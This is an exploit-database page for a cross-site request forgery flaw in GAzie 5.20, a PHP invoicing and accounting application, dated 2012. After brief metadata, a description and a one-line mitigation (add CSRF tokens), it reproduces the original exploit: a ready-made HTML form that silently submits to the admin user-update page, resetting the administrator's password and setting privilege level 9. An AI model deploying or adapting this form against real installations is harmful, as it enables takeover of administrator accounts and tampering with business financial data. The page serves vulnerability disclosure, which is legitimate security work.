GAzie - exploit.company

vendor:

GAzie

by:

giudinvx

8,8

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: GAzie

Affected Version From: 5.20

Affected Version To: 5.20

Patch Exists: NO

Related CWE: N/A

CPE: gazie

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

GAzie <= 5.20 Cross Site Request Forgery

A Cross Site Request Forgery vulnerability exists in GAzie <= 5.20. An attacker can craft a malicious form and submit it to the vulnerable application, which can lead to unintended actions being performed on behalf of the authenticated user. This can be used to modify the application's data, such as changing user credentials, or to perform administrative actions.

Mitigation:

Implementing a CSRF token in the application can help mitigate this vulnerability.

Source

Exploit-DB raw data:

========================================
GAzie <= 5.20 Cross Site Request Forgery
========================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 5/02/2012
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
@Application Info:
Multicompany finance application written in PHP using a MySql
database backend for small to medium enterprise. It lets you
write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.
@Version 5.20http://sourceforge.net/projects/gazie/
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<form enctype="multipart/form-data"
action="[localhost]/modules/config/admin_utente.php?Login=amministratore&Update"
method="POST">
<input type="hidden" name="Login" value="amministratore">
<input type="hidden" value="" name="Update">
<input type="text" value="Surname " name="Cognome" title="Cognome">
<input type="text" value="Name " name="Nome" title="Nome">
<input type="text" value="italian" name="lang">
<input type="text" value="9" name="Abilit"><br/>
Password
<input type="password" value="" name="Password"><br/><!-- at least
eight alphanumeric characters -->
Repeat password
<input type="password" value="" name="confpass"><br/>
<input type="submit" value="START THE GAME" name="Submit">	
</form>